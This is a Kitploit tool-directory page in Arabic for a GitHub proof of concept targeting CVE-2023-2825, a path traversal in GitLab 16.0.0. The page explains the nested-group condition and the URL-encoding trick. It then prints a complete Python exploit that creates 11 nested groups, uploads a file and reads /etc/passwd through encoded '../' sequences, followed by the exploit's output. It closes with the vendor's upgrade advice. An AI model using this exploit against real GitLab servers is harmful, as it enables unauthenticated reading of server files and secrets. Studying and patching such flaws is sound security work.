Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-2825-Gitlab — الإثبات العملي المكتوب بلغة Python لمستخدم ضار غير موثّق يمكنه استغلال ثغرة اجتياز المسار (path traversal) لقراءة ملفات عشوائية على الخادم عند وجود مرفق في مشروع عام متداخل داخل خمس مجموعات على الأقل. هذه مشكلة ذات خطورة حرجة. | Kitploit
أدوات/GitHubGitHub/tornad0007/cve-2023-2825-gitlab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubtornad0007/cve-2023-2825-gitlab

CVE-2023-2825-Gitlab

الإثبات العملي المكتوب بلغة Python لمستخدم ضار غير موثّق يمكنه استغلال ثغرة اجتياز المسار (path traversal) لقراءة ملفات عشوائية على الخادم عند وجود مرفق في مشروع عام متداخل داخل خمس مجموعات على الأقل. هذه مشكلة ذات خطورة حرجة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 3 سنواتلم تتم المراجعة بعد

CVE-2023-2825

في 23 مايو 2023، أصدرت GitLab الإصدار 16.0.1 والذي أصلح ثغرة أمنية حرجة، CVE-2023-2825، تؤثر على الإصدارين Community Edition (CE) و Enterprise Edition (EE) 16.0.0. تسمح الثغرة للمستخدمين غير المصادق عليهم بقراءة الملفات التعسفية من خلال خطأ في اجتياز المسار. تم اكتشافها من قبل pwnie على HackerOne من خلال برنامج المكافآت.

في وقت كتابة هذا التقرير، لم يكن هناك أي دليل إثبات للمفهوم متاح للعامة.

إشعار GitLab

يمكن لمستخدم ضار غير مصادق عليه استخدام ثغرة اجتياز المسار لقراءة ملفات تعسفية على الخادم عند وجود مرفق في مشروع عام متداخل ضمن خمس مجموعات على الأقل. هذه قضية خطيرة (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

المجموعات الفرعية

لهذه الثغرة شرط مثير للاهتمام حيث يجب أن يكون المشروع متداخلاً في 5 مجموعات على الأقل. في اختباراتنا، وجدنا علاقة مباشرة بين عدد المجموعات وعدد الدلائل التي يمكنك اجتيازها. يبدو أن القاعدة هي N + 1، مما يعني أنه إذا كنت ترغب في اجتياز 10 دلائل، فأنت بحاجة إلى 11 مجموعة.

على تثبيت GitLab القياسي، يتم رفع المرفقات إلى /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. لذا إذا كنت تريد الوصول إلى جذر نظام الملفات، يجب عليك العودة 10 دلائل وبالتالي تحتاج إلى 11 مجموعة.

رفع الملف واجتياز المسار

عند رفع ملف كمرفق في مشكلة GitLab، يتم إرسال طلب إلى POST - /:repo/upload. ويعيد هذا استجابة JSON مع رابط الملف، مما يتيح لك الوصول إلى الملف.

يتكون رابط الملف من /:repo/uploads/:id/:file حيث :file هو اسم الملف نفسه. استبدال :file بأي مسار ملف سيؤدي إلى عودة GitLab للملف المطلوب. فشلت GitLab في تنظيف مسار الملف هذا، مما يؤدي إلى اجتياز المسار.

لاستغلال هذه الثغرة بنجاح، يجب عليك ترميز / في مسار الملف URL encode. ستقرأه GitLab كقيمة وستقوم بفك ترميزه داخلياً. عدم ترميزه سيؤدي إلى تفسير GitLab للرمز / في مسار الملف كجزء من المسار.

في اختباراتنا، كان ترميز / فقط كافياً لتجاوز أخطاء مسار Nginx.

المصادقة

يمكن للمستخدمين غير المصادق عليهم استغلال هذه الثغرة فقط على المستودعات العامة التي تستوفي شروط المجموعات المتداخلة. المصادقة مطلوبة للوصول إلى المستودع نفسه.

دليل إثبات المفهوم

إليك دليل إثبات المفهوم مكتوب بلغة بايثون. يقوم بإنشاء 11 مجموعة، وإنشاء مستودع عام، ورفع ملف، ثم استغلال الثغرة للحصول على الملف /etc/passwd.

المخرجات

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

الكود

root@kitploit:~
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup


ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"

# Session for cookies
session = requests.Session()

# CSRF token
csrf_token = ""

# Ignore invalid SSL
requests.urllib3.disable_warnings()


def request(method, path, data=None, files=None, headers=None):
    global csrf_token

    if method == "POST" and isinstance(data, dict):
        data["authenticity_token"] = csrf_token

    response = session.request(
        method,
        f"{ENDPOINT}{path}",
        data=data,
        files=files,
        headers=headers,
        verify=False,
    )
    if response.status_code != 200:
        print(response.text)
        print(f"[*] Request failed: {method} - {path} => {response.status_code}")
        exit(1)

    if response.headers["content-type"].startswith("text/html"):
        csrf_token = BeautifulSoup(response.text, "html.parser").find(
            "meta", {"name": "csrf-token"}
        )["content"]

    return response


# Get initial CSRF token
request("GET", "")

# Login
print("[*] Attempting to login...")
request(
    "POST",
    "/users/sign_in",
    data={"user[login]": USERNAME, "user[password]": PASSWORD},
)

print(f"[*] Login successful as user '{USERNAME}'")


# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")

parent_id = ""
for i in range(1, 12):
    # Create group
    name = f"{group_prefix}-{i}"
    create_resp = request(
        "POST",
        "/groups",
        data={
            "group[parent_id]": parent_id,
            "group[name]": name,
            "group[path]": name,
            "group[visibility_level]": 20,
            "user[role]": "software_developer",
            "group[jobs_to_be_done]": "",
        },
    )

    # Get group id
    parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
        "button", {"title": "Copy group ID"}
    )["data-clipboard-text"]

    print(f"[*] Created group '{name}'")

# Create project
project_resp = request(
    "POST",
    "/projects",
    data={
        "project[ci_cd_only]": "false",
        "project[name]": "CVE-2023-2825",
        "project[selected_namespace_id]": parent_id,
        "project[namespace_id]": parent_id,
        "project[path]": "CVE-2023-2825",
        "project[visibility_level]": 20,
        "project[initialize_with_readme": 1,
    },
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")

# Upload file
file_resp = request(
    "POST",
    f"/{repo_path}/uploads",
    files={"file": "hello world"},
    headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")

# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")

الإجراءات الموصى بها

توصي GitLab بترقية جميع الإصدارات المتأثرة بهذه المشكلة في أقرب وقت ممكن.

المراجع

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

تنزيل الأداة